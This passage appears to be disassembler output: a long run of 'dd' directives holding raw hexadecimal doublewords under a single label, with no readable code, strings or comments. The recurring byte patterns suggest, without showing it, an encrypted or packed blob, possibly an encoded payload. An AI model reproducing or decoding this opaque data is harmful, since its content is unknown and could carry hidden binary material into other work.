0F040DAA6h dd 1CD9E73Ah, 5436A8B1h, 3D0CDF0Ah, 3256AB3Bh, 6DDDB4B1h dd 0BB598AB9h, 325675B3h, 0B359DBD1h, 32565DB7h, 914C6D30h dd 39375154h, 69D2A46Ah, 0CB56D5B1h, 0B759348Ah, 32567598h dd 292803D1h, 0C7372B0Fh, 0DB5AF33Ah, 325657BAh, 1C641222h dd 6CD32E3Bh, 0BBD5EF38h, 0B33679EEh, 0F2D6A55Ah, 0CBE152AEh dd 26912DD0h, 32565958h, 699974B1h, 0A716449Fh, 0E703D0FAh dd 0DBA7BF86h, 0CDA94523h, 32565458h, 0B6A04DB1h, 0A4E16D2Ch dd 0B93019DCh, 0C9D620AFh, 0BD2E559h, 3D5675B5h, 3256A73Ah dd 25DB52B1h, 0DB56AEB1h, 325657A3h, 0D3A7C169h, 0ED904E11h dd 36AD4F3h, 42239658h, 0C9D602ABh, 3FD25258h, 3D56AEB5h dd 32564C36h, 22BECBB1h, 7D56D5B1h, 0A87E0B58h, 0C20F818Eh dd 0AA02F491h, 6B899292h, 538D19BEh, 3DBDAC31h, 32554835h dd 0F5D7B5B1h, 3AA5ECBh, 3253F6BEh, 0B330BAB1h, 53FD3443h dd 3DB45531h, 3255F335h dd 324742B1h, 0F5ADD5B1h, 105F3D39h, 23845575h, 0CC24C263h dd 0B286DBABh, 0B6594D4Ah, 325654FDh, 3256B958h, 2CB86DB1h dd 5B596934h, 53DBBE26h, 260B742Bh, 5465AA7Fh, 0D1315530h dd 3135D3BEh, 52A3ABB1h, 63896ABEh, 3256E158h, 5402E9B1h dd 8E230D1Eh, 2CFBE6D0h, 0D5D6CFEBh, 25DD5841h, 5256ABB1h dd 3256D958h, 0CA87C5B1h, 0DB44DBECh, 5C60F9FFh, 35E83B6Fh dd 54AFCFB7h, 0B259AC30h, 31142FBEh, 0B336D5B1h, 23D6F57h dd 0D1D614D6h, 21DAB541h, 0DB565DB1h, 3256AEBFh, 0C97906CFh dd 41F0A039h, 2F58D5ADh, 0C9D66C4Ah, 27D27AC1h, 0DB56BAB2h dd 32565DA5h, 750265B1h, 0C87F579Ch, 55DF8B90h, 0A443116Ch dd 840E2842h, 0DB48FED7h, 3256BAA0h, 0D19537C3h, 0C86F9466h dd 81824A60h, 756E0512h, 0CAB55500h, 0C9D61644h, 4FD27A09h dd 0CE56BAB0h, 37DA52D1h, 8C56AEB1h, 60EF61B6h, 1C892AD7h dd 0CD6B47Ah, 53D2E5B4h, 0DB5675B0h, 3256BAA2h, 2181AF7Bh dd 68C4BEEBh, 9F79A4C8h, 0AE83133Bh, 0B20A3EBCh, 0B659C78Fh dd 325674F1h, 3256AE58h, 8E0466B1h, 0CAB9FC85h, 821406EAh dd 0B3B53E19h, 40EF86F4h, 38DFE584h, 525675B1h, 0B259DBD1h dd 32565DB1h, 5A682ED0h, 3358D3BEh, 0CDAEABB1h, 3266A033h dd 3CD1E5B7h, 0DB5675B1h, 3256BAB8h, 8F558FFBh, 10084ADh dd 2CDD31E6h, 827210D1h, 0ECDCAF57h, 0CAB16AD0h, 0C9D71344h dd 0B6595230h, 32565D69h, 78992ED1h, 539DDCD7h, 71A52AD1h dd 0B955C980h, 0B9308B48h, 32509CAFh, 0AC94BAB1h, 8892B136h dd 0C7A64931h, 0B3ADD6D7h, 9BD2A471h, 0CA56D5B1h, 0B55913D1h dd 325675B7h, 0DCD642D1h, 3D033CF8h, 3256A53Bh, 0D1D737B1h dd 13C7A75Ch, 539D62BEh, 77C41549h, 3D50759Eh, 3256A532h dd 2BD752B1h, 0DB56AEB1h, 325657A5h, 0A4356925h, 0BC2F8A50h dd 0A3BD1A9Bh, 0E28EC6AAh, 99BE546Bh, 85593DECh, 31D7A14Ah dd 0B25657B1h, 0BB375240h, 0BC5929F4h, 3256EAA8h, 32566158h dd 55104AB1h, 0E0719A01h, 41682D0Fh, 0A9451125h, 8B2180BAh dd 0B559B47Fh, 3256EABBh, 0B3C8C5D1h, 0FDE10977h, 4FD53CDDh dd 0B759AF4Dh, 325655F6h, 32572FBEh, 52AAD5B1h, 79A06BD7h dd 53AEFE6Ah, 2B97003Ah, 0B1595848h, 3256AE9Fh, 3242BFD1h dd 0EBA2ABB1h, 0ADAD6193h, 1738F539h, 0F4A19E4Fh, 58C1C842h dd 0DA0D5A87h, 3256AEBDh, 0EE2BA519h, 0FDDB50Dh, 8F2828B3h dd 34BF8BE9h, 95675B1h, 2619EAEDh, 52A30DC1h, 0E45A14D7h dd 47D4DCD0h, 0CA50AB81h, 0CE66E988h, 0EAD4E5E9h, 0DB5675B0h dd 3256BAB8h, 0EB44E3E2h, 0F5F1E551h, 9BECDC05h, 3D5352B4h dd 3256C13Bh, 325903B1h, 8B8B75B1h, 608FBE25h, 908CD1B3h dd 0DBA1E77h, 35BF0727h, 0FA56ABB1h, 7CCF26B2h, 0B0DDA582h dd 345645C4h, 26A8348h, 325DB4D1h, 7CDBAEB1h, 4EF9B22Eh dd 0F2B8892Ah, 0EDD7836Bh, 63E4FFF8h, 3D0E14E9h, 3257C83Eh dd 33D452B1h, 0CA56AEB1h, 3256D058h, 325D42B1h, 0BF5ED5B1h dd 7455C701h, 0D181B771h, 27D1B57Ah, 0DB565DB1h, 3256AEA1h dd 0B5080CAEh, 4699B99Dh, 5FA2A6AFh, 17719AA9h, 30AE3076h dd 5256BAB1h, 3254D1BEh, 6C01AEB1h, 3210BED0h, 0DA36ABB1h dd 3256D5BDh, 9FB8F3F4h, 25BA5DA2h, 867FD896h, 325FB5E9h dd 2DD8AEB1h, 1D72E265h, 6DE93BA5h, 0CA1312D0h, 3256EAB0h dd 3240F7BEh, 0B959BAB1h, 32565DA1h, 3256A558h, 0DA9EC6B1h dd 73229344h, 3BAEF87Eh, 1CD9503Ah, 0BC5973B1h, 3256BAB0h dd 2DDDA449h, 3256A458h, 6D0C27B1h, 0AC7B09h, 390E8EE0h dd 8AD2E56Ah, 0CE5675B1h, 0B759648Ah, 32565D38h, 325727BEh dd 0B9AA57B1h, 0BA59A7ECh, 3256D5BDh, 32506ABEh, 0BA5975B1h dd 3256BAB1h, 32AE2032h, 326C2ABEh, 643657B1h, 820FF3E6h dd 6F55B41Bh, 32580349h, 8C575B1h, 0ACBBC97Ch, 6BC056A9h dd 7110EA43h, 3240DABEh, 23BFABB1h, 5356D5B1h, 0C06F68DAh dd 1EEC7FD5h, 4F626766h, 0E40160CFh, 3D52F138h, 32565F3Fh dd 30DBA4B1h, 5256D5B1h, 324503D0h, 365A75B1h, 222BE420h dd 4E6CD4Eh, 0A8E4997Ch, 0DA2C2880h, 269128C6h, 0CD1A3C4Dh dd 0BC59154Eh, 325675B9h, 32D0B5D1h, 53565DB1h, 0DBA36E82h dd 32565393h, 32572DBEh, 54A3D5B1h, 5236F43Ah, 58EE7A03h dd 5335BCEAh, 0B9378900h, 3DBFA2CCh, 275657B1h, 0B439FC3Dh dd 0DEC50EA2h, 0F4468461h, 0C9D6AF07h, 63D2B55Ah, 3D565DB1h dd 3256A733h, 0C8DD37B1h, 0CF992AD7h, 0D1D6B4FFh, 0C9D61641h dd 0B8D27AC1h, 3D56BAB1h, 3256403Eh, 25DCA1B1h, 0DB5657B1h dd 3256ABA3h, 0FE29E64Fh, 0ADF0B599h, 469E983Ch, 0D5837FE0h dd 0DCBF0637h, 0DB56AEB1h, 325657B9h, 8F277BC4h, 7043F83h dd 0C7BFED77h, 32573276h, 5256BAB1h, 32565B58h, 0B503D2B1h dd 0B85F8EDCh, 0F5DDCA70h, 0B9A55FD1h, 0F2D58B41h, 32449CB4h dd 0DF54BAB1h, 717A1BE6h, 7686CCFDh, 62226E9Dh, 0EDB16FC6h dd 32558C58h, 325903B1h, 1EEA75B1h, 93257BC0h, 92CB8718h dd 0D955AEB6h, 3591318Bh, 39BFA3BEh, 6256D5B1h, 0A47028D8h dd 0E20B47FFh, 2CDC9098h, 33DF5248h, 0C756AEB1h, 5259B431h dd 0B99720D7h, 0F9D6B468h, 23BF1231h, 185675B1h, 0E9CA2157h dd 2F7B4FDBh, 6F7075E9h, 6174098Dh, 5257F439h, 53AA2F3Ah dd 3254AD76h, 0C75675B1h, 3256B458h, 0F4A9CBB1h, 0E0A24C7Ah dd 5D107F2Ch, 0B96A188Eh, 325C3C76h, 54DEAB1h, 3E117871h dd 0B99EC0EEh, 52509D32h, 0CBDD6C3Ah, 3096BED0h, 0B159ABB1h dd 3256D5B0h, 0CD78C44h, 0B659E521h, 3256BAF5h, 0A268DD48h dd 320C2BBEh, 39BF57B1h, 0FC56ABB1h, 0E1AC06C0h, 2F89ED84h dd 0B33068B3h, 0A2C645CFh, 3248D9BEh, 0BB59AEB1h, 325657BAh dd 75902BD1h, 0D171730h, 0DB37E6F9h, 32567599h, 325430BEh dd 53365DB1h, 0BC59693Ah, 325657B0h, 300A4244h, 0B559D5B1h dd 3256EABDh, 32567258h, 86DF25B1h, 32B70CA9h, 3352C3Ch dd 0BA5951B1h, 3256ABB5h, 536362D1h, 0DB0012E1h, 325675BBh dd 0F9316D97h, 5E49F8Ch, 0A0A97E60h, 345678EDh, 3D96A049h dd 3256EA35h, 324703B1h, 2F9E75B1h, 34369DF4h, 499FE9F9h dd 6E66F65Dh, 0B9BB9C86h, 32504279h, 48FFD5B1h, 0FBC1CD43h dd 335C73Ch, 0BE59BCB1h, 32565DBBh, 3256AB58h, 0B39DACB1h dd 0BFBF7E2Ch, 0CB56D5B1h, 0FCDD12E7h, 32567D58h, 0DCE84DB1h dd 2C9D6FF5h, 0B059FBA9h, 325657ABh, 324542D1h, 48FAD5B1h dd 5B310F56h, 0BAF8464Eh, 92B3EC75h, 64BE8ECEh, 0A0A9CFD0h dd 345678F4h, 3250424Dh, 0E28AD5B1h, 8E54488Fh, 33D87AECh dd 0CE56BAB1h, 0B659939Ah, 3256AEA0h, 325DDCBEh, 34BFABB1h dd 5756D5B1h, 190CBED1h, 3D8F8235h, 3256AA36h, 325DB4B1h dd 0E7BAAEB1h, 0B3493649h, 0BDBCEAD8h, 3BBF8B96h, 0C956EAB1h dd 8E11080Eh, 0D9DBBFEAh, 33AE2032h, 32C82BBEh, 35BF57B1h dd 1156ABB1h, 0A0A76D8h, 5436E244h, 2AC28430h, 0DB1F0AD0h dd 32565DA2h, 14AE9AC3h, 31CDDCDDh, 68127D25h, 0B69E04Ah dd 0CEE043A4h, 325D9C1Bh, 715FBAB1h, 0C24B88AAh, 84091695h dd 3DEE3180h, 99305734h, 324655BEh, 39BFEAB1h, 0FC5675B1h dd 1A445D50h, 0D053E24h, 84599A86h, 0BA5956F7h, 3256ABB9h dd 32545CBEh, 5336EAB1h, 35BF151Ah, 0B156BAB1h, 8B0D3D83h dd 85599E1Bh, 9CBF364Bh dd 0DB56ABB1h, 3256D5A5h, 0E469C673h, 83034B3Ch, 8E610DA0h dd 6DB06B9Ah, 63EDDB65h, 30AE2A32h, 32202EBEh, 34BFD5B1h dd 0EF56EAB1h, 4EE9010Fh, 39EEDCBAh, 0B3303D78h, 3D1BA642h dd 3256573Dh, 9930CAB1h, 0F3DDB549h, 325268BEh, 883075B1h dd 5437E512h, 0CAD25209h, 3DAA05D7h, 3256443Ah, 325842B1h dd 0FDC0D5B1h, 30E97019h, 747373C6h, 0E2A242B3h, 3310EBBEh dd 32512FBEh, 0B45957B1h, 3256ABB0h, 0DBAF7E49h, 3256EA94h dd 32567E58h, 583BA4B1h, 5B9D7E05h, 5420A8Ah, 3D36F342h dd 3256A836h, 0E8DDB3B1h, 32DEE5E6h, 6C5675B1h, 0DB9131D0h dd 32565DBBh, 81D727C3h, 0DA5FEA6Fh, 520D108Dh, 538862BEh dd 8D598AE8h, 9BB9F543h, 0BB59E4D0h, 32565DB0h, 0FBAAF144h dd 0F9E831D1h, 0CBB72A91h, 5378BB6Ch, 5256E273h, 32566458h dd 1B5DDBB1h, 7E18F572h, 0F387188Eh, 289FE2E2h, 0F0DDA5C6h dd 3ABF80D0h, 3156EAB1h, 26AED7FDh, 0B99C5B8Ah, 0CA36A15Dh dd 3256AE59h, 0D8D70DB1h, 3456F661h, 32DEDAD1h, 6156EAB1h dd 3256FABEh, 5309BAB1h, 32565858h, 618D7DB1h, 77DD86C6h dd 0B0DF57B9h, 3456FB5Eh, 0F9DD8CD1h, 32567A58h, 63A196B1h dd 0CB1AED57h, 0E66F622Fh, 4FB0E34Eh, 0B359CAD0h, 3256D5B0h dd 0F0AF234Dh, 0B83675B5h, 34D4B54Bh, 0B3565DB1h, 0F9B7F379h dd 0CA0336B7h, 0B559473Ah, 3256D5A6h, 3256F858h, 0A910B9B1h dd 66C0C68Dh, 1FF3F0D1h, 715B2A57h, 0B1D73A4Eh, 0B2595375h dd 3256D5B6h, 325766BEh, 52AA75B1h, 0DBD6DAD1h, 5341EEF4h dd 3256BD58h, 15B224B1h, 35E3E258h, 4A7B9AEEh, 0F3D11366h dd 122F1C98h, 32BE42D0h, 68565DB1h, 6CDC4430h, 0B05951B1h dd 3256ABBDh, 325059BEh, 0B659EAB1h, 325675B1h, 324653D1h dd 23A55DB1h, 5848A390h, 652D5DB6h, 4ACE58E5h, 0B05940A9h dd 3256EAB7h, 0BE31AE30h, 0F5379EDAh, 3256A5F4h, 3CBFAEB1h dd 0EB5657B1h, 81ADF38Ch, 0D5C789h, 98EFB1D1h, 0CE13B281h dd 3256BAB1h, 325EDCBEh, 0B336AEB1h, 0EE0A6943h, 0F265CAB6h dd 78ED86D1h, 6818658Dh, 5437AF3Ah, 0F5AAA43Ah, 32662833h dd 3256AFB7h, 3247BEB1h, 0E926ABB1h, 597EBDAFh, 5EEE616Ah dd 0D59A3904h, 5497C2A6h, 0A2C6A630h, 324F2BBEh, 26BF57B1h dd 156ABB1h, 6A143C4Fh, 366E4F87h, 0FCC3608Ch, 0A7D85097h dd 0B2157258h, 0B659464Ah, 325653C8h, 3256A558h, 966528B1h dd 0C4FA00BDh, 0C3CC876Eh, 72C0CF00h, 53D9EAD1h, 3DBF5531h dd 32520F35h, 35D3A4B1h, 3D56D5B1h, 3256EB35h, 3D368CB1h dd 3256BB3Ah, 0BD59A4B1h, 3256AEB4h, 5047DB09h, 3D16CAECh dd 3256F635h, 3FBF8AB1h, 0D85675B1h, 454B0851h, 263515DAh dd 54FCB115h, 32565E59h, 0C7D2FB1h, 0BB1EB4DAh, 5309C56Eh dd 3DBD8E31h, 3252BE35h, 3AD852B1h, 5256AEB1h, 5497E0BEh dd 7237603Ah, 0C2B1554Dh, 33DBE548h, 0CB5675B1h, 3DAD3BD7h dd 0ECD25231h, 5256AEB2h, 212D9F30h, 0DB368E9Bh, 3256D5BFh dd 0ED5F0022h, 0DEB8231Eh, 1C2180ECh, 35BF80C4h, 2356AEB1h dd 0F797DC13h, 5337F4F4h, 231357B2h, 0B059EF48h, 325675BDh dd 325035BEh, 0B9595DB1h, 3256AEB1h, 3AD158F1h, 5256ABB1h dd 3D690531h, 0B2371006h, 0B659974Ah, 3256B9CCh, 3259B44Dh dd 3364AEB1h, 0F4F5DC45h, 0DD50FAA6h, 0AE9ED01Dh, 0D1AD6AC7h dd 3113F1BEh, 6436BAB1h, 6887D6D7h, 82744830h, 5437352Ah dd 0D1315030h, 311151BEh, 3CBFEAB1h, 0F05675B1h, 4AFEC7D7h dd 0FCD42339h, 0CC912FE4h, 0D1D6A2A4h, 58EECB41h, 6149CBD6h dd 0D5AACB08h, 0B2372C81h, 0B659CA4Ah, 32565E90h, 2CDDC844h dd 324FD3BEh, 26BFABB1h, 0E756D5B1h, 0A5189F48h, 0FC46D3E7h dd 6154798Ah, 3348CFFDh, 0B2141499h, 0DB36AF52h, 3256ABB9h dd 0E4746614h, 3E2E76FBh, 3D3715D1h, 3256BA34h, 52373CB1h dd 8A305A3Bh, 0B2375D86h, 0B659134Ah, 3256D4E9h, 325D65BEh dd 8B3675B1h, 7C7406FAh, 0F3B6E4D7h, 325847D0h, 49B657B1h dd 8E712A04h, 1BADEB0Ah, 0B5EBCEA2h, 3D534B31h, 32579135h dd 325EB4B1h, 6C60AEB1h, 0EC40B385h, 0CD6CB9Bh, 27D2DA9Ch dd 0CE56EAB0h, 3D3E4B31h, 3257B135h, 33DD52B1h, 0CA56AEB1h dd 0B0A9AFF1h, 34569BC4h, 0E49D55D1h, 69EB5B0Bh, 0B93014ADh dd 0D5D642AFh, 0C2DD3D49h, 324024BEh, 23BF57B1h, 6256ABB1h dd 508973AEh, 3BC78340h, 7BCCAFA5h, 0FDE08FB1h, 0C9D73BD0h dd 0B6594630h, 32565771h, 324525BEh, 0B759D5B1h, 3256EABCh dd 32567D58h, 9FDE67B1h, 0CEA3998Ch, 23BFCEF9h, 0F05657B1h dd 162B61AAh, 21186C46h, 216E7072h, 0CC4F40B4h, 0CC5B00Fh dd 0B9303CFBh, 37BFCEAFh, 635657B1h, 9926E728h, 0EE617509h dd 0D5D68BA7h, 0B3308D41h, 3D963B4Ah, 32563A35h, 0BC5956B1h dd 325657BDh, 32502CBEh, 0B859D5B1h, 3256EAB1h, 0DB0380D1h dd 3256BAB9h, 0C7DF33CAh, 6623719Eh, 1D13C54Eh, 8736ADB1h dd 32D0DAC1h, 5356EAB1h, 77DF80ECh, 20DAB54Dh, 0DB565DB1h dd 3256AEBCh, 700EE968h, 0D7509C80h, 320322A1h, 0B1A38BF0h dd 3D5789CCh, 32532534h, 3250B4B1h, 0FBF3AEB1h, 0B7F5371Bh dd 2B97113Ah, 62AAD048h, 47D4614Dh, 0DB507581h, 3256BABBh dd 6B47A6B7h, 85B2AD1Ah, 0E6F6F21h, 3D0E5E81h, 3253BE33h dd 324603B1h, 51C475B1h, 4224D857h, 3D8254E0h, 71E1A381h dd 88DD0A58h, 37AFAE18h, 3D815FD1h, 3256EC30h, 0C08DF4B1h dd 537FD578h, 3FBF3DE1h, 1056AEB1h, 0FD46FA9Ch, 0A1D41E33h dd 45AABFD4h, 0B937AF02h, 32660033h, 325053B7h, 46525DB1h dd 86362B8Ch, 52666B88h, 0B3E45D30h, 0E4D78F9Eh, 28206C56h dd 0BD592DD0h, 3256BFB1h, 0F2D73BD1h, 38BF339Eh, 0DA5657B1h dd 0A50B0809h, 84AF212Eh, 0B9AA8B6Ah, 3278AD0Bh, 0B0D546B7h dd 34567369h, 324647A5h, 215757B1h, 0D730516Dh, 0EEB0E001h dd 0B63F20EEh, 5DF927Fh, 3BBFDA44h, 20565DB1h, 0B3EFBE36h dd 714904F2h, 221122D0h, 32463C48h, 0DADFEAB1h, 0DDBB1F0Dh dd 0BD32873Ch, 5E7DFFC0h, 0DB063CEFh, 325657A2h, 5D9214FDh dd 8FF959BCh, 0EB2E55A1h, 0AB15529Fh, 0CBCB738Fh, 223DF3Ah dd 0B9AEA8B1h, 3DBF67ADh, 9C56ABB1h, 4B26BF30h, 0BA96A6B8h dd 6117E567h, 0CA0E3D84h, 525E0238h, 0AE962FD7h, 32D95840h dd 5356ABB1h, 32529E58h, 3AD9E5B1h, 525675B1h, 325631BEh dd 0F5375DB1h, 325456F4h, 0B15957B1h, 3256ABB0h, 32593C44h dd 0B359EAB1h, 325675B0h, 0CA137D49h, 32565DB0h, 0EAEC254Dh dd 3D50579Fh, 3256B23Ch, 32423CB1h, 34FCEAB1h, 6F97C603h dd 0DB4F7C0Ch, 464E3C6Ah, 0CACCADD0h, 0B0D528EDh, 34568569h dd 29D2DAA5h, 5256EAB1h, 32566158h, 1DD079B1h, 0DDBD6B57h dd 6CD68D0Ah, 755FB56Fh, 948494F9h, 5DFB465h, 32446EBEh dd 0B75975B1h, 3256BABDh, 32565A58h, 54FA54B1h, 2D74A506h dd 0CA46EC38h, 324259BEh, 3DBFEAB1h, 375675B1h, 470B3337h dd 8370EA7Bh, 271FA72Dh, 0CAD553C8h, 75D3A4B2h, 5256D5B1h dd 36CC55D7h, 32566159h, 27059BB1h, 68D5E7FAh, 53616C51h dd 738761EDh, 5A420C33h, 6AE5657Fh, 47D42DD0h, 30507581h dd 0CA56BAB1h, 32561758h, 324647B1h, 8CA457B1h, 0FAE5A012h dd 0C0B9B97Bh, 692C92BBh, 0CAD5D29Ah, 0ECDBB5B3h, 3D565DB0h dd 3256AF39h, 0BA59ABB1h dd 3256ABAEh, 324F5BBEh, 26BFEAB1h, 835675B1h, 0F317943Ah dd 0CB61B92h, 709E3503h, 0E7685AF0h, 0B19FF173h, 3D562DCCh dd 32567935h, 325C9CB1h, 7DE0BAB1h, 5AE1712Bh, 35FDD3CAh dd 3310E1BEh, 3D9F19D1h, 3256D53Ch, 0B2FF8BB1h, 3D5675B1h dd 32568234h, 325CB4B1h, 52D6AEB1h, 0AAF15168h, 0A274364Dh dd 3AD1DAF1h, 3D56EAB1h, 32567733h, 0B137DAB1h, 0B4595859h dd 3256AEB0h, 326EBE4Dh, 34BFABB1h, 4056D5B1h, 7BA2451Ch dd 32A9585Bh, 23BFBAB1h, 52565DB1h, 0DD4A5E94h, 7325B6D3h dd 349393FDh, 55E25BAAh, 0DB530232h, 325675BBh, 1199ADD5h dd 4B213685h, 6BFF507h, 0CA5657B1h, 325042E2h, 0B57D5B1h dd 40531486h, 223EF3Ah, 5436BCB1h, 53AE963Ah, 0CB65AA3Ah dd 0DBAE37EAh, 3256ABBFh, 0CE32995Ch, 0B11F0518h, 0E2922782h dd 9B37FA27h, 0B2565DB1h, 323E2BBEh, 35BF57B1h, 3A56ABB1h dd 81984D88h, 0F455B52Ch, 32567F58h, 0CCC19CB1h, 0AC8A8AD4h dd 0B1A4D1C8h, 31A35271h, 3266DE33h, 0C71E2CB7h, 0DB5EAD38h dd 325675A3h, 329D566Dh, 472BA896h, 0CB73555Bh, 0B92E2614h dd 75DF6EB6h, 0DBAA20BDh, 3256EB59h, 325F9CD1h, 0CCC7BAB1h dd 5AB5DB0Eh, 3D7662C6h, 32565338h, 6CE9CDB1h, 0EAA1B443h dd 3256E458h, 663FCFB1h, 366196Ch, 0A33EF084h, 1926A4CBh dd 0EAA1A277h, 3796284Dh, 3256C758h, 0B56D68B1h, 739370D2h dd 12C7341Fh, 3FFC49E8h, 311C3E28h, 32662233h, 3AD7A4B7h dd 3D56D5B1h, 3256E835h, 7A3715B1h, 3A113344h, 3E11D44Dh dd 3256BC58h, 28645AB1h, 820BF933h, 5AF726Ch, 0DB9C358Fh dd 0DB7C45E7h, 3256BBD1h, 0DB966E44h, 3256AEB9h, 0AB89B4BAh dd 5B5BD1A3h, 5257933Bh, 7C654D7h, 32567858h, 0E46061B1h dd 0A6D10BB7h, 812545EBh, 9A37C2A1h, 82D3A431h, 0DB56D5B1h dd 3256EABEh, 0FB8BFF11h, 0F46A1FC3h, 0FB64DF8Bh, 31160188h dd 3250BE77h, 0B90FABB1h, 23E35EA7h, 3D542A32h, 32567430h dd 33ED42B1h, 3D565DB1h, 3256A335h, 0DBD737B1h, 1790F64Ch dd 0E1B854D7h, 0E95D8BDBh, 3266F1BEh, 0BF59BAB1h, 32565DB0h dd 0D0CC2449h, 0DB53A8F9h, 3256ABBBh, 2052A2A1h, 668E0D46h dd 0D1D64E83h, 35BFDAB0h, 6C565DB1h, 0D37EC0C9h, 0FAD68088h dd 0F155CA6Ah, 3A115C49h, 325462BEh, 533675B1h, 3D5AFD38h dd 32565C3Ah, 0A7BF57B1h, 3D5657B1h, 3256A035h, 0B930B5B1h dd 32D3E569h, 535675B1h, 325739BEh, 0C5AA5DB1h, 3CBECE69h dd 9A5657B1h, 2988C205h, 7D15C897h, 8F45FAF0h, 0C81F4DDh dd 6C087CF8h, 1737B73Bh, 3256AE4Eh, 54BDDDD1h, 0CB0E7930h dd 3D90FED0h, 3256EE35h, 0F3DD15B1h, 0DB8E4DD0h, 32565DBCh dd 0A38E3452h, 717FDC7Bh, 988225CAh, 325B3CFCh, 336BEAB1h dd 0CE82BD7Ch, 3404EF08h, 0B139AA1Bh, 0BBAFAC71h, 0BBA35FF6h dd 0B559A7F6h, 3256D5BDh, 325064BEh, 0BA5975B1h, 3256BAB1h dd 0C737A549h, 0DB955678h, 325657B4h, 37678B88h, 0B759800Ah dd 3256EABEh, 32567F58h, 824612B1h, 0D6A34107h, 0B93A5C00h dd 0F6D5A25Dh, 26DCA44Dh, 0DB56D5B1h, 3256EABEh, 0B06AF4B9h dd 17DEFFA5h, 6AE884D9h, 0CA619FF3h, 3259BED1h, 5C70ABB1h dd 0BCC9843Fh, 466BF7C1h, 986FFF85h, 0C7AADA01h, 3256B5D0h dd 0B30CAEB1h, 323E1A5Bh, 39DEA4B7h, 0DB56D5B1h, 3256EAB7h dd 3B0E7E7Bh, 0B9A31BCCh, 3278D20Bh, 54365BB7h, 54BB4A0Bh dd 0F2065A30h, 0DB9FE6D0h, 3256EAA2h, 0B168668Ah, 9571F80Fh dd 0A255F12h, 0C033C5E3h, 0B1C21349h, 0B659AB8Eh, 3256D122h dd 3256E358h, 22088FB1h, 91C6D267h, 34BF5C44h, 1956AEB1h dd 9EBECE44h, 0DB5120DDh, 3256D5BEh, 2E671338h, 52B8F7EFh dd 58B193F6h, 0CD610657h, 0CDAFA2C4h, 0BB595FC4h, 3256ABB4h dd 0ECE1DAD1h, 0DB36BAD0h, 325675BBh, 0BA81CBBBh, 0AC8E1CF6h dd 0E8D7E5ACh, 8735049h, 3B6443D0h, 0B836D5B1h, 6D058A5Ah dd 0F25D14D0h, 32633FBEh, 3D365DB1h, 3256AF32h, 0B330A2B1h dd 5337F750h, 20BFD23Ah, 9956EAB1h, 5798A766h, 0EF1CCB16h dd 0BA695B8h, 2B41B0C1h, 3264BED9h, 0CB36ABB1h, 325652BEh dd 0B137EAB1h, 0DBA36176h, 0CDA945FAh, 76A0DCD1h, 0B348826Bh dd 5268359h, 3FBFCABAh, 56D5B1h, 0B3A96D46h, 6E8A68F8h dd 0B4A48992h, 52AA1838h, 325A4648h, 0D41457B1h, 0AEFC9692h dd 0E88A2669h, 3CBFD963h, 15675B1h, 0F95645B1h, 327B1AE5h dd 12775498h, 0CD370F38h, 3D36A7C4h, 54050506h, 5308203Ah dd 3D5E004Eh, 3256B03Bh, 3253B4B1h, 0CD23AEB1h, 0CD8C211Eh dd 35DFA486h, 3D56D5B1h, 3256EB39h, 57BE89B1h, 5256BAB9h dd 5497D6D7h, 39375E3Ah, 12D25871h, 3D56ABB1h, 3256D831h dd 325E03B1h, 0B6EE75B1h, 6973F7DEh, 72BF997Dh, 0C756AEB2h dd 0FBE158D1h, 0B937783Ah, 0BA329F4h, 1ED4E5B6h, 525675B2h dd 32453ABEh, 3CBF5DB1h, 56AEB1h, 0C1B40FEFh, 85821ADFh dd 86B27731h, 32450344h, 4D6575B1h, 9409927Dh, 0FABBD02Eh dd 0E793FFC5h, 0A50DD156h, 77A9CA6Ch, 0B930B54Dh, 34D8E573h dd 3D5675B1h, 3256BA36h, 4DD53CB1h, 0B659AEB5h, 325657E1h dd 3256B858h, 863CB8B1h, 93F2192h, 41616115h, 5207536Eh dd 3636A831h, 325AD132h, 3278D3BEh, 20BFABB1h, 3356D5B1h dd 5048BF2Ch, 0F270A10Bh, 2B387153h, 0A7E01670h, 32D94750h dd 0B75957B1h, 3256ABBDh, 3256D258h, 9BC9C8B1h, 0B9CDE6C9h dd 0CDA94509h, 0DA363D4Eh, 3256AEB8h, 0B1823A89h, 467F89FDh dd 37BE8E71h, 8456EAB1h, 0F9034D0Dh, 62EEDBEFh, 533424A2h dd 3256AB08h, 0B93037B1h, 32594377h, 9262D5B1h, 0B8C7F245h dd 6116AA25h, 10BEE5BBh, 3250B5DCh, 3BACAEB1h, 1543E0FEh dd 0C137F3E8h, 35D1DA1Ah, 3D56EAB1h, 3256743Ch, 0BABF46B1h dd 0DBA9A24Fh, 3256AEA0h, 784A8A1Eh, 0E4E722Bh, 0E5DFE57Ah dd 736BF221h, 2229F6C7h, 5CD2B5B4h, 0DB565DB1h, 3256AEBAh dd 0AA5F5A2Bh, 0F3F3220Fh, 0B140026Eh, 3D50FACEh, 32561734h dd 3D1746B1h, 32564F32h, 3ED8A1B1h, 0DB5657B1h, 3256ABB6h dd 0D9EEB568h, 0B9213C28h, 0B05971F6h, 3256BAB4h, 6A07A1D1h dd 33D5A1D0h, 0C75657B1h, 0CB5AF43Ah, 3256DD58h, 2C0C93B1h dd 3714D168h, 331D533Fh, 38BF5DB1h, 1F56AEB1h, 0F335F467h dd 2367FF5Ch, 36115E86h, 3E096148h, 33709C4Dh, 0B9AEBAB1h dd 0B9AA59F6h, 9AEA2EEh, 0B7595FEEh, 3256AB14h, 0D9D7B3D1h dd 3EBF5FFDh, 3F5675B1h, 43AEFF75h, 352787E4h, 5362F96Ah dd 325ABEE3h, 41AEABB1h, 2AA91D1Fh, 6B058F03h, 65DD3CA4h dd 677D4FB5h, 6755A4A1h, 325847A5h, 5D9D57B1h, 6FCC3D1Bh dd 0C136CFB9h, 1FCA1FD5h, 3D5A2A3Ah, 3256BB3Fh, 0E87DA5B1h dd 325D2EBEh, 543657B1h, 89BC6A08h, 519B2F37h, 8D598AD0h dd 5391FF42h, 0CA535132h, 325AB4EBh, 8C9BAEB1h, 0B4E69755h dd 0E5E409FFh, 0BE595562h, 3256EAB9h, 0F9DD13D1h, 53A531D7h dd 32561458h, 38DDA1B1h, 525657B1h, 325625BEh, 0CBDCD5B1h dd 361161D0h, 3E09FE4Dh, 36099148h, 32565858h, 6C544AB1h dd 0D9D51419h, 26D6A4B4h, 0DB56D5B1h, 3256EABEh, 25A001D6h dd 0F2E28B30h, 4B2544D1h, 317D170Bh, 0CB641E3Bh, 4DD557B4h dd 0B759D6A1h, 3256EA9Dh, 324EF8BEh, 0B959BAB1h, 32565DA3h dd 3256A358h, 0C5FED5B1h dd 34E3F6Ch, 8B8006DCh, 52174C2Eh, 0E2C18630h, 0B330C7CAh dd 